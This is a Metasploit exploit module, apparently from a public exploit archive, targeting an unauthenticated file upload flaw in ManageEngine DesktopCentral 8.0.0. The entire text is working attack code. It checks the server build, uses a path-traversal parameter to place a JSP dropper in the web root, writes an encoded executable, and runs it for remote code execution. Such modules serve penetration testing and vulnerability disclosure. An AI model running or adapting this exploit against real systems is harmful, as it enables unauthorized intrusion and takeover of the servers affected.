DesktopCentral AgentLogUpload Arbitrary File Upload Exploit

:
26.11.2013
:
DesktopCentral 8.0.0
:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0
below build 80293. A malicious user can upload a JSP file into the web root without
authentication, leading to arbitrary code execution.
},
'Author' =>
[
'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf' ]
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Manage Desktop Central 8 server / Windows', {} ]
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 11 2013'
))

register_options([Opt::RPORT(8020)], self.class)
end

def upload_file(filename, contents)
res = send_request_cgi({
'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"),
'method' => 'POST',
'data' => contents,
'ctype' => "text/html"
})

if res and res.code == 200 and res.body.to_s.empty?
return true
else
return false
end
end

def check
res = send_request_cgi({
'uri' => normalize_uri("configurations.do"),
'method' => 'GET'
})

if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8/ and res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/
build = $1
print_status("Manage Desktop Central 8 build #{build} found")
if build < "80293"
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

res = send_request_cgi({
'uri' => normalize_uri("agentLogUploader"),
'method' => 'POST'
})

if res and res.code == 200
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end

def exploit
print_status("#{peer} - Uploading JSP to execute the payload")

exe = payload.encoded_exe
exe_filename = rand_text_alpha_lower(8) + ".exe"

dropper = jsp_drop_and_execute(exe, exe_filename)
dropper_filename = rand_text_alpha_lower(8) + ".jsp"

if upload_file(dropper_filename, dropper)
register_files_for_cleanup(exe_filename)
register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}")
else
fail_with(Exploit::Failure::Unknown, "#{peer} - JSP upload failed")
end

print_status("#{peer} - Executing payload")
send_request_cgi(
{
'uri' => normalize_uri(dropper_filename),
'method' => 'GET'
})
end

def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

jspraw << %Q|int numbytes = data.length();\n|

jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|

jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|

jspraw
end

def jsp_execute_command(command)
jspraw = %Q|\n|
jspraw << %Q|<%\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|

jspraw
end

def jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
end
end

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